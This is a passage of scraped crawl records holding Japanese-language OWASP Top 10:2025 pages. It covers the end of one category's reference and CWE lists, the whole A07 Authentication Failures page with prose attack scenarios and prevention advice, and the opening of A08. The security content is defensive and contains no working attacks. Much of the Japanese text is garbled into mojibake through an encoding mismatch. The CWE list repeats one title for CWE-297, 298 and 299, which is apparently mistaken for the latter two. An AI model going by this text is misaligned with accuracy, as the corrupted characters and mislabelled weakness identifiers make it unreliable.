ă•ă‚Œă€ä¸€čˆŹăŽć„›ĺĽ˝ĺŽśăŒčłźĺ…Ľă§ăăŞă„äş‹ć…‹ă‚’ć‹›ă„ăŸă€‚ç™şĺŁ˛ă‹ă‚‰ć•°ç§’äťĽĺ†…ăŽčłźĺ…Ľă‚’č­˜ĺˆĽă—ăŚć‹’ĺŚă™ă‚‹ă¨ă„ăŁăŸă€ăƒ‰ăƒĄă‚¤ăƒłăƒ­ă‚¸ăƒƒă‚ŻăŤĺŸşăĽă„ăŸă‚˘ăƒłăƒăƒœăƒƒăƒˆč¨­č¨ˆăŒĺż…čŚă§ă™ă€‚\n\n## 関連資料 (References)\n\n- [OWASP Cheat Sheet: Secure Design Principles](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html)\n- [OWASP SAMM: Design | Secure Architecture](https://owaspsamm.org/model/design/secure-architecture/)\n- [OWASP SAMM: Design | Threat Assessment](https://owaspsamm.org/model/design/threat-assessment/)\n- [NIST – Guidelines on Minimum Standards for Developer Verification of Software](https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software)\n- [The Threat Modeling Manifesto](https://threatmodelingmanifesto.org/)\n- [Awesome Threat Modeling](https://github.com/hysnsec/awesome-threat-modelling)\n\n## 紐付けられた CWE 一覧 (List of Mapped CWEs)\n\n- [CWE-73 External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n- [CWE-183 Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [CWE-256 Unprotected Storage of Credentials](https://cwe.mitre.org/data/definitions/256.html)\n- [CWE-266 Incorrect Privilege Assignment](https://cwe.mitre.org/data/definitions/266.html)\n- [CWE-269 Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)\n- [CWE-286 Incorrect User Management](https://cwe.mitre.org/data/definitions/286.html)\n- [CWE-311 Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [CWE-312 Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)\n- [CWE-313 Cleartext Storage in a File or on Disk](https://cwe.mitre.org/data/definitions/313.html)\n- [CWE-316 Cleartext Storage of Sensitive Information in Memory](https://cwe.mitre.org/data/definitions/316.html)\n- [CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-382 J2EE Bad Practices: Use of System.exit()](https://cwe.mitre.org/data/definitions/382.html)\n- [CWE-419 Unprotected Primary Channel](https://cwe.mitre.org/data/definitions/419.html)\n- [CWE-434 Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)\n- [CWE-436 Interpretation Conflict](https://cwe.mitre.org/data/definitions/436.html)\n- [CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-451 User Interface (UI) Misrepresentation of Critical Information](https://cwe.mitre.org/data/definitions/451.html)\n- [CWE-454 External Initialization of Trusted Variables or Data Stores](https://cwe.mitre.org/data/definitions/454.html)\n- [CWE-472 External Control of Assumed-Immutable Web Parameter](https://cwe.mitre.org/data/definitions/472.html)\n- [CWE-501 Trust Boundary Violation](https://cwe.mitre.org/data/definitions/501.html)\n- [CWE-522 Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html)\n- [CWE-525 Use of Web Browser Cache Containing Sensitive Information](https://cwe.mitre.org/data/definitions/525.html)\n- [CWE-539 Use of Persistent Cookies Containing Sensitive Information](https://cwe.mitre.org/data/definitions/539.html)\n- [CWE-598 Use of GET Request Method With Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n- [CWE-602 Client-Side Enforcement of Server-Side Security](https://cwe.mitre.org/data/definitions/602.html)\n- [CWE-628 Function Call with Incorrectly Specified Arguments](https://cwe.mitre.org/data/definitions/628.html)\n- [CWE-642 External Control of Critical State Data](https://cwe.mitre.org/data/definitions/642.html)\n- [CWE-646 Reliance on File Name or Extension of Externally-Supplied File](https://cwe.mitre.org/data/definitions/646.html)\n- [CWE-653 Insufficient Compartmentalization](https://cwe.mitre.org/data/definitions/653.html)\n- [CWE-656 Reliance on Security Through Obscurity](https://cwe.mitre.org/data/definitions/656.html)\n- [CWE-657 Violation of Secure Design Principles](https://cwe.mitre.org/data/definitions/657.html)\n- [CWE-676 Use of Potentially Dangerous Function](https://cwe.mitre.org/data/definitions/676.html)\n- [CWE-693 Protection Mechanism Failure](https://cwe.mitre.org/data/definitions/693.html)\n- [CWE-799 Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n- [CWE-807 Reliance on Untrusted Inputs in a Security Decision](https://cwe.mitre.org/data/definitions/807.html)\n- [CWE-841 Improper Enforcement of Behavioral Workflow](https://cwe.mitre.org/data/definitions/841.html)\n- [CWE-1021 Improper Restriction of Rendered UI Layers or Frames](https://cwe.mitre.org/data/definitions/1021.html)\n- [CWE-1022 Use of Web Link to Untrusted Target with window.opener Access](https://cwe.mitre.org/data/definitions/1022.html)\n- [CWE-1125 Excessive Attack Surface](https://cwe.mitre.org/data/definitions/1125.html)", "znaku_textu": 13808, "slov": 626, "odkazu": 84, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:23", "sha256": "29bc8f5aeac1cf3bd9fcee1ad1dd8eefbef7f922dfe9fb55965d29404ad9f312", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://owaspsamm.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html", "https://owaspsamm.org/model/design/secure-architecture/", "https://owaspsamm.org/model/design/threat-assessment/", "https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software", "https://threatmodelingmanifesto.org/", "https://github.com/hysnsec/awesome-threat-modelling", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/286.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/382.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/436.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/454.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/628.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/676.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1022.html", "https://cwe.mitre.org/data/definitions/1125.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/A07_2025-Authentication_Failures/", "titulek": "A07 Authentication Failures - OWASP Top 10:2025", "h1": "A07:2025 認証の不備 (Authentication Failures)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/A07_2025-Authentication_Failures/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A07:2025 認証の不備 (Authentication Failures)"}, {"uroven": 2, "text": "背景 (Background)"}, {"uroven": 2, "text": "スコアテーブル (Score Table)"}, {"uroven": 2, "text": "説明 (Description)"}, {"uroven": 2, "text": "防止方法 (How to Prevent)"}, {"uroven": 2, "text": "攻撃シナリオの例 (Example Attack Scenarios)"}, {"uroven": 2, "text": "関連資料 (References)"}, {"uroven": 2, "text": "紐付けられた CWE 一覧 (List of Mapped CWEs)"}], "markdown": "# A07:2025 認証の不備 (Authentication Failures)\n\n## 背景 (Background)\n\n「認証の失敗」は、前回から引き続き第7位となりました。36ぎ CWE (共通弱点一覧) ă‚’ă‚ˆă‚Šć­Łç˘şăŤčĄ¨ă™ăŸă‚ăŤĺç§°ăŒĺžŽäżŽć­Łă•ă‚Œăžă—ăŸăŒă€ć¨™ćş–ĺŒ–ă•ă‚ŒăŸăƒ•ăƒŹăƒźăƒ ăƒŻăƒźă‚ŻăŒć™ŽĺŠă—ăŸçžĺœ¨ă§ă‚‚ă€äžç„śă¨ă—ăŚă“ăŽé †ä˝ăŤç•™ăžăŁăŚă„ă‚‹ă‚‚ăŽă§ă™ă€‚ä¸ťčŚăŞ CWE には、ハードコードされたパスワードの利用 (CWE-259, CWE-798)、ホスト不一致を伴う証明書の不適切な検証 (CWE-297)、不適切な認証 (CWE-287)、およびセッション固定 (CWE-384) が含まれます。\n\n## スコアテーブル (Score Table)\n\n| 紐付けられた CWE 数 | 最大出現率 | 平均出現率 | 最大網羅率 | 平均網羅率 | ĺšłĺ‡ĺŠ é‡ć‚Şç”¨ă‚šă‚łă‚˘ | ĺšłĺ‡ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘ | 出現総数 | CVE 総数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 36 | 15.80% | 2.92% | 100.00% | 37.14% | 7.69 | 4.44 | 1,120,673 | 7,147 |\n\n## 説明 (Description)\n\nćœŹč„†ĺźąć€§ăŻă€ć”ťć’ƒč€…ăŒă‚ˇă‚šăƒ†ăƒ ă‚’ćŹşăă€ç„ĄĺŠšăŞăƒŚăƒźă‚śăƒźă‚„čŞ¤ăŁăŸăƒŚăƒźă‚śăƒźă‚’ć­Łĺ˝“ăŞă‚‚ăŽă¨ă—ăŚčŞč­˜ă•ă›ăŸĺ ´ĺˆăŤç™şç”Ÿă—ăžă™ă€‚\n\näťĽä¸‹ăŽé …ç›ŽăŤĺ˝“ăŚăŻăžă‚‹ĺ ´ĺˆă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŤčŞč¨źä¸ŠăŽä¸ĺ‚™ăŒĺ­˜ĺœ¨ă™ă‚‹ĺŻčƒ˝ć€§ăŒă‚ă‚Šăžă™ă€‚\n\n- **自動化攻撃の許容:** クレデンシャルスタッフィング (Credential Stuffing) ă‚„ă€ćľĺ‡şă—ăŸčł‡ć źćƒ…ĺ ąăŽăƒăƒŞă‚¨ăƒźă‚ˇăƒ§ăƒłă‚’čŠŚă™ăƒ‘ă‚šăƒŻăƒźăƒ‰ă‚šăƒ—ăƒŹăƒźć”ťć’ƒ (Password Spray Attacks) を許容している。\n- **ブルートフォース攻撃への脆弱性:** ブルートフォースやその他の自動化・スクリプト化された攻撃を迅速にブロックしていない。\n- **脆弱なパスワードの許可:** デフォルト設定、脆弱な、あるいは広く知られたパスワード(「Password1」や admin/admin など)の使用を許可している。\n- **ćźć´Šć¸ˆăżćƒ…ĺ ąăŽĺˆŠç”¨ďźš** ć—˘ăŤäžľĺŽłăŒç˘şčŞă•ă‚ŒăŚă„ă‚‹čł‡ć źćƒ…ĺ ąă‚’ç”¨ă„ăŚć–°čŚă‚˘ă‚Ťă‚Śăƒłăƒˆă‚’ä˝œćˆă§ăăŚă—ăžă†ă€‚\n- **不適切なリカバリプロセス:** 「秘密の質問」のような、安全性を確保できない知識ベースの回答に依存したパスワード復旧プロセスを採用している。\n- **不十分なデータ保護:** パスワードをプレーンテキスト、あるいは脆弱なハッシュ形式で保存している( [A04:2025 暗号化の失敗](../A04_2025-Cryptographic_Failures/) 参照)。\n- **MFA ăŽćŹ ĺŚ‚ďźš** ĺ¤ščŚç´ čŞč¨ź (MFA) が実装されていない、あるいはそのフォールバック手段が脆弱である。\n- **セッション管理の不備:** URL ă‚„ĺŽ‰ĺ…¨ă§ăŞă„ĺ ´ć‰€ă¸ă‚ťăƒƒă‚ˇăƒ§ăƒł ID を露出させている、あるいはログイン後にセッション ID を再利用している。\n- **不完全なログアウト:** ログアウト時や一定時間の無活動後に、セッションや認証トークン(特に SSO トークン)が正しく無効化されない。\n- **検証の不足:** ćäž›ă•ă‚ŒăŸčł‡ć źćƒ…ĺ ąăŽéŠç”¨çŻ„ĺ›˛ (Scope) や意図された対象 (Audience) を正しく検証していない。\n\n## 防止方法 (How to Prevent)\n\n- **MFA の強制:** ĺŻčƒ˝ăŞé™ă‚Šĺ¤ščŚç´ čŞč¨ź (MFA) ă‚’ĺŽŸčŁ…ă—ă€ç›—ăžă‚ŒăŸčł‡ć źćƒ…ĺ ąăŽĺ†ĺˆŠç”¨ă‚„č‡Şĺ‹•ĺŒ–ă•ă‚ŒăŸć”ťć’ƒă‚’é˜˛ĺžĄă—ăŚăă ă•ă„ă€‚\n- **パスワードマネージャーの推奨:** ユーザーがより安全なパスワードを選択できるよう、パスワードマネージャーの利用を促してください。\n- **デフォルト設定の排除:** çŽĄç†ăƒŚăƒźă‚śăƒźă‚’ĺŤă‚ă€ĺˆćœŸč¨­ĺŽšăŽčł‡ć źćƒ…ĺ ąăŒćŽ‹ăŁăŸçŠść…‹ă§ăƒ‡ăƒ—ăƒ­ă‚¤ă—ăŞă„ă§ăă ă•ă„ă€‚\n- **ćźć´Šć¸ˆăżćƒ…ĺ ąăŽăƒă‚§ăƒƒă‚Żďźš** ăƒ‘ă‚šăƒŻăƒźăƒ‰č¨­ĺŽšăƒťĺ¤‰ć›´ć™‚ăŤă€ăƒŻăƒźă‚šăƒˆăƒ‘ă‚šăƒŻăƒźăƒ‰ăƒŞă‚šăƒˆă‚„ćźć´Šć¸ˆăżćƒ…ĺ ąďźˆ [haveibeenpwned.com](https://haveibeenpwned.com) 等の活用)との照合を実施してください。\n- **ćœ€ć–°ă‚Źă‚¤ăƒ‰ăƒŠă‚¤ăƒłă¸ăŽćş–ć‹ ďźš** パスワードの長さ、複雑さ、およびローテーションポリシーは、 [NIST 800-63b (セクション 5.1.1)](https://pages.nist.gov/800-63-3/sp800-63b.html#:~:text=5.1.1%20Memorized%20Secrets) ăŞăŠăŽč¨źć‹ ăŤĺŸşăĽă„ăŸćœ€ć–°ăŽă‚Źă‚¤ăƒ‰ăƒŠă‚¤ăƒłăŤćş–ć‹ ă—ăŚăă ă•ă„ă€‚\n- **パスワードローテーションの強制禁止:** äžľĺŽłăŽç–‘ă„ăŒăŞă„é™ă‚Šă€ăƒŚăƒźă‚śăƒźăŤăƒ‘ă‚šăƒŻăƒźăƒ‰ăŽĺŽšćœŸĺ¤‰ć›´ă‚’ĺźˇĺˆśă—ăŞă„ă§ăă ă•ă„ă€‚äžľĺŽłăŽç–‘ă„ăŒă‚ă‚‹ĺ ´ĺˆăŻă€ç›´ăĄăŤăƒ‘ă‚šăƒŻăƒźăƒ‰ăƒŞă‚ťăƒƒăƒˆă‚’ĺźˇĺˆśă—ăŚăă ă•ă„ă€‚\n- **メッセージの共通化:** ă‚˘ă‚Ťă‚Śăƒłăƒˆĺˆ—ćŒ™ć”ťć’ƒă‚’é˜˛ăăŸă‚ă€ç™ťéŒ˛ă€čł‡ć źćƒ…ĺ ąăŽĺžŠć—§ă€API パスウェイにおいて、成否にかかわらず共通のメッセージ(例:「ユーザー名またはパスワードが無効です」)を使用してください。\n- **ログイン試行の制限:** ログイン失敗時の試行を制限、あるいは遅延させてください。ただし、DoS 攻撃に繋がらないよう慎重に設計する必要があります。\n- **セキュアなセッション管理:** ログイン後に高いエントロピーを持つ新しいランダムなセッション ID を生成し、URL ではなくセキュアな Cookie に保存してください。ログアウトやタイムアウト時には必ずサーバー側で無効化してください。\n- **äżĄé źă§ăă‚‹ă‚ˇă‚šăƒ†ăƒ ăŽĺˆŠç”¨ďźš** 実績があり十分にテストされた認証・アイデンティティ管理システムを導入することで、リスクを転嫁することを検討してください。\n- **トークンの検証:** JWT ç­‰ă‚’ĺˆŠç”¨ă™ă‚‹ĺ ´ĺˆă€ `aud` (Audience) や `iss` (Issuer) クレーム、および Scope を必ず検証してください。\n\n## 攻撃シナリオの例 (Example Attack Scenarios)\n\n**シナリオ #1:ハイブリッド型クレデンシャルスタッフィング**\nć”ťć’ƒč€…ăŻćźć´Šć¸ˆăżăŽčł‡ć źćƒ…ĺ ąăƒŞă‚šăƒˆăŤĺŻžă—ă€ă€ŒWinter2025」を「Winter2026ă€ăŤĺ¤‰ăˆă‚‹ăŞăŠă€äşşé–“ç‰šćœ‰ăŽčŚĺ‰‡ć€§ă‚’çŞă„ăŚăƒ‘ă‚šăƒŻăƒźăƒ‰ă‚’ĺžŽčŞżć•´ă—ă€ć”ťć’ƒă‚’čŠŚăżăžă™ă€‚č‡Şĺ‹•ĺŒ–ă•ă‚ŒăŸč„…ĺ¨ďźˆăƒ–ăƒŤăƒźăƒˆăƒ•ă‚Šăƒźă‚šă€ă‚šă‚ŻăƒŞăƒ—ăƒˆă€ăƒœăƒƒăƒˆďź‰ă‚„ă‚ŻăƒŹăƒ‡ăƒłă‚ˇăƒŁăƒŤă‚šă‚żăƒƒăƒ•ă‚Łăƒłă‚°ă¸ăŽé˜˛ĺžĄç­–ăŒăŞă„ĺ ´ĺˆă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŻăƒ‘ă‚šăƒŻăƒźăƒ‰ăŽĺŚĽĺ˝“ć€§ă‚’ç˘şčŞă™ă‚‹ăŸă‚ăŽč¸ăżĺ°ďźˆăƒ‘ă‚šăƒŻăƒźăƒ‰ă‚ŞăƒŠă‚ŻăƒŤďź‰ă¨ă—ăŚć‚Şç”¨ă•ă‚Œă€ä¸ć­Łă‚˘ă‚Żă‚ťă‚šă‚’č¨ąă—ăŚă—ăžă„ăžă™ă€‚\n\n**シナリオ #2:パスワードローテーションと複雑さの要件**\nčŞč¨źć”ťć’ƒăŽĺ¤šăăŻă€ăƒ‘ă‚šăƒŻăƒźăƒ‰ă‚’ĺ”Żä¸€ăŽčŞč¨źčŚç´ ă¨ă—ăŚä˝żă„çśšă‘ăŚă„ă‚‹ă“ă¨ăŤčľˇĺ› ă—ăžă™ă€‚ă‹ă¤ăŚăƒ™ă‚šăƒˆăƒ—ăƒŠă‚Żăƒ†ă‚Łă‚šă¨ă•ă‚ŒăŸăƒ‘ă‚šăƒŻăƒźăƒ‰ăŽăƒ­ăƒźăƒ†ăƒźă‚ˇăƒ§ăƒłă‚„č¤‡é›‘ă•ăŽčŚäťśăŻă€ăƒŚăƒźă‚śăƒźăŤăƒ‘ă‚šăƒŻăƒźăƒ‰ăŽä˝żă„ĺ›žă—ă‚„č„†ĺźąăŞăƒ‘ă‚šăƒŻăƒźăƒ‰ăŽä˝żç”¨ă‚’äżƒă™çľćžœă¨ăŞăŁăŚă„ăžă™ă€‚NIST 800-63 ăŤĺž“ă„ă€ă“ă‚Œă‚‰ăŽć…ŁčĄŒă‚’ĺťƒć­˘ă—ă€ă™ăšăŚăŽé‡čŚăŞă‚ˇă‚šăƒ†ăƒ ă§ĺ¤ščŚç´ čŞč¨źă‚’ĺźˇĺˆśă™ă‚‹ă“ă¨ăŒćŽ¨ĺĽ¨ă•ă‚Œăžă™ă€‚\n\n**シナリオ #3:SSO ログアウトの不備**\nシングルログアウト (SLO) ăŒĺŽŸčŁ…ă•ă‚ŒăŚă„ăŞă„ĺ ´ĺˆă€č¤‡ć•°ăŽă‚ˇă‚šăƒ†ăƒ ăŤ SSO ă§ăƒ­ă‚°ă‚¤ăƒłă—ăŸĺžŒă€ä¸€ă¤ăŽă‚ˇă‚šăƒ†ăƒ ă§ăƒ­ă‚°ă‚˘ă‚Śăƒˆă—ăŚă‚‚ă€äť–ăŽă‚ˇă‚šăƒ†ăƒ ă¸ăŽčŞč¨źăŒćŽ‹ăŁăŸăžăžăŤăŞă‚‹ă“ă¨ăŒă‚ă‚Šăžă™ă€‚ĺ…ąćœ‰çŤŻćœŤăŞăŠă§ăƒ–ăƒŠă‚Śă‚śă‚’é–‰ă˜ăšăŤĺ¸­ă‚’é›˘ă‚ŒăŸĺ ´ĺˆă€ć”ťć’ƒč€…ăŒćŽ‹ĺ­˜ă—ăŸă‚ťăƒƒă‚ˇăƒ§ăƒłă‚’é€šă˜ăŚč˘ŤĺŽłč€…ăŽă‚˘ă‚Ťă‚Śăƒłăƒˆă¸ă‚˘ă‚Żă‚ťă‚šă§ăăŚă—ăžă„ăžă™ă€‚\n\n## 関連資料 (References)\n\n- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Secure Coding Practices](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/stable-en/01-introduction/05-introduction)\n- [NIST 800-63b: 認証とライフサイクル管理](https://pages.nist.gov/800-63-3/sp800-63b.html)\n\n## 紐付けられた CWE 一覧 (List of Mapped CWEs)\n\n- [CWE-258 Empty Password in Configuration File](https://cwe.mitre.org/data/definitions/258.html)\n- [CWE-259 Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html)\n- [CWE-287 Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [CWE-288 Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html)\n- [CWE-289 Authentication Bypass by Alternate Name](https://cwe.mitre.org/data/definitions/289.html)\n- [CWE-290 Authentication Bypass by Spoofing](https://cwe.mitre.org/data/definitions/290.html)\n- [CWE-291 Reliance on IP Address for Authentication](https://cwe.mitre.org/data/definitions/291.html)\n- [CWE-293 Using Referer Field for Authentication](https://cwe.mitre.org/data/definitions/293.html)\n- [CWE-294 Authentication Bypass by Capture-replay](https://cwe.mitre.org/data/definitions/294.html)\n- [CWE-295 Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html)\n- [CWE-297 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/297.html)\n- [CWE-298 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/298.html)\n- [CWE-299 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/299.html)\n- [CWE-300 Channel Accessible by Non-Endpoint](https://cwe.mitre.org/data/definitions/300.html)\n- [CWE-302 Authentication Bypass by Assumed-Immutable Data](https://cwe.mitre.org/data/definitions/302.html)\n- [CWE-303 Incorrect Implementation of Authentication Algorithm](https://cwe.mitre.org/data/definitions/303.html)\n- [CWE-304 Missing Critical Step in Authentication](https://cwe.mitre.org/data/definitions/304.html)\n- [CWE-305 Authentication Bypass by Primary Weakness](https://cwe.mitre.org/data/definitions/305.html)\n- [CWE-306 Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-307 Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-308 Use of Single-factor Authentication](https://cwe.mitre.org/data/definitions/308.html)\n- [CWE-309 Use of Password System for Primary Authentication](https://cwe.mitre.org/data/definitions/309.html)\n- [CWE-346 Origin Validation Error](https://cwe.mitre.org/data/definitions/346.html)\n- [CWE-350 Reliance on Reverse DNS Resolution for a Security-Critical Action](https://cwe.mitre.org/data/definitions/350.html)\n- [CWE-384 Session Fixation](https://cwe.mitre.org/data/definitions/384.html)\n- [CWE-521 Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html)\n- [CWE-613 Insufficient Session Expiration](https://cwe.mitre.org/data/definitions/613.html)\n- [CWE-620 Unverified Password Change](https://cwe.mitre.org/data/definitions/620.html)\n- [CWE-640 Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)\n- [CWE-798 Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)\n- [CWE-940 Improper Verification of Source of a Communication Channel](https://cwe.mitre.org/data/definitions/940.html)\n- [CWE-941 Incorrectly Specified Destination in a Communication Channel](https://cwe.mitre.org/data/definitions/941.html)\n- [CWE-1390 Weak Authentication](https://cwe.mitre.org/data/definitions/1390.html)\n- [CWE-1391 Use of Weak Credentials](https://cwe.mitre.org/data/definitions/1391.html)\n- [CWE-1392 Use of Default Credentials](https://cwe.mitre.org/data/definitions/1392.html)\n- [CWE-1393 Use of Default Password](https://cwe.mitre.org/data/definitions/1393.html)", "znaku_textu": 11515, "slov": 568, "odkazu": 76, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:24", "sha256": "7461f6cec59dcb41104126abe44c77e81a917ec56de72160a7d5f1a056ba7503", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://haveibeenpwned.com/", "https://pages.nist.gov/800-63-3/sp800-63b.html", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/258.html", "https://cwe.mitre.org/data/definitions/259.html", "https://cwe.mitre.org/data/definitions/287.html", "https://cwe.mitre.org/data/definitions/288.html", "https://cwe.mitre.org/data/definitions/289.html", "https://cwe.mitre.org/data/definitions/290.html", "https://cwe.mitre.org/data/definitions/291.html", "https://cwe.mitre.org/data/definitions/293.html", "https://cwe.mitre.org/data/definitions/294.html", "https://cwe.mitre.org/data/definitions/295.html", "https://cwe.mitre.org/data/definitions/297.html", "https://cwe.mitre.org/data/definitions/298.html", "https://cwe.mitre.org/data/definitions/299.html", "https://cwe.mitre.org/data/definitions/300.html", "https://cwe.mitre.org/data/definitions/302.html", "https://cwe.mitre.org/data/definitions/303.html", "https://cwe.mitre.org/data/definitions/304.html", "https://cwe.mitre.org/data/definitions/305.html", "https://cwe.mitre.org/data/definitions/306.html", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/308.html", "https://cwe.mitre.org/data/definitions/309.html", "https://cwe.mitre.org/data/definitions/346.html", "https://cwe.mitre.org/data/definitions/350.html", "https://cwe.mitre.org/data/definitions/384.html", "https://cwe.mitre.org/data/definitions/521.html", "https://cwe.mitre.org/data/definitions/613.html", "https://cwe.mitre.org/data/definitions/620.html", "https://cwe.mitre.org/data/definitions/640.html", "https://cwe.mitre.org/data/definitions/798.html", "https://cwe.mitre.org/data/definitions/940.html", "https://cwe.mitre.org/data/definitions/941.html", "https://cwe.mitre.org/data/definitions/1390.html", "https://cwe.mitre.org/data/definitions/1391.html", "https://cwe.mitre.org/data/definitions/1392.html", "https://cwe.mitre.org/data/definitions/1393.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/A08_2025-Software_or_Data_Integrity_Failures/", "titulek": "A08 Software or Data Integrity Failures - OWASP Top 10:2025", "h1": "A08:2025 ソフトウェアまたはデータの完全性の不備 (Software or Data Integrity Failures)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/A08_2025-Software_or_Data_Integrity_Failures/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A08:2025 ソフトウェアまたはデータの完全性の不備 (Software or Data Integrity Failures)"}, {"uroven": 2, "text": "背景 (Background)"}, {"uroven": 2, "text": "スコアテーブル (Score Table)"}, {"uroven": 2, "text": "説明 (Description)"}, {"uroven": 2, "text": "防止方法 (How to Prevent)"}, {"uroven": 2, "text": "攻撃シナリオの例 (Example Attack Scenarios)"}, {"uroven": 2, "text": "関連資料 (References)"}, {"uroven": 2, "text": "紐付けられた CWE 一覧 (List of Mapped CWEs)"}], "markdown": "# A08:2025 ソフトウェアまたはデータの完全性の不備 (Software or Data Integrity Failures)\n\n## 背景 (Background)\n\n「ソフトウェアまたはデータの完全性の失敗」は、前回に引き続き第8位となりました。名称は、範囲をより明確にするために「ソフトウェア *および* ăƒ‡ăƒźă‚żăŽĺŽŒĺ…¨ć€§ăŽĺ¤ąć•—ă€ă‹ă‚‰ĺžŽäżŽć­Łă•ă‚ŒăŚă„ăžă™ă€‚ă“ăŽă‚Ťăƒ†ă‚´ăƒŞăŻă€äżĄé źĺ˘ƒç•Œ (Trust Boundary) ăŽçś­ćŒăŤĺ¤ąć•—ă—ă€ă‚˝ăƒ•ăƒˆă‚Śă‚§ă‚˘ă€ă‚łăƒźăƒ‰ă€ăŠă‚ˆăłăƒ‡ăƒźă‚żčł‡ç”ŁăŽĺŽŒĺ…¨ć€§ć¤œč¨źă‚’ć€ ă‚‹ăƒŞă‚šă‚ŻăŤç„Śç‚šă‚’ĺ˝“ăŚăŚă„ăžă™ă€‚ă“ă‚ŒăŻă€ŒA03: ソフトウェアサプライチェーンの不備」よりも低レイヤーな検証不備を対象としています。主要な CWE (共通弱点一覧) ăŤăŻă€äżĄé 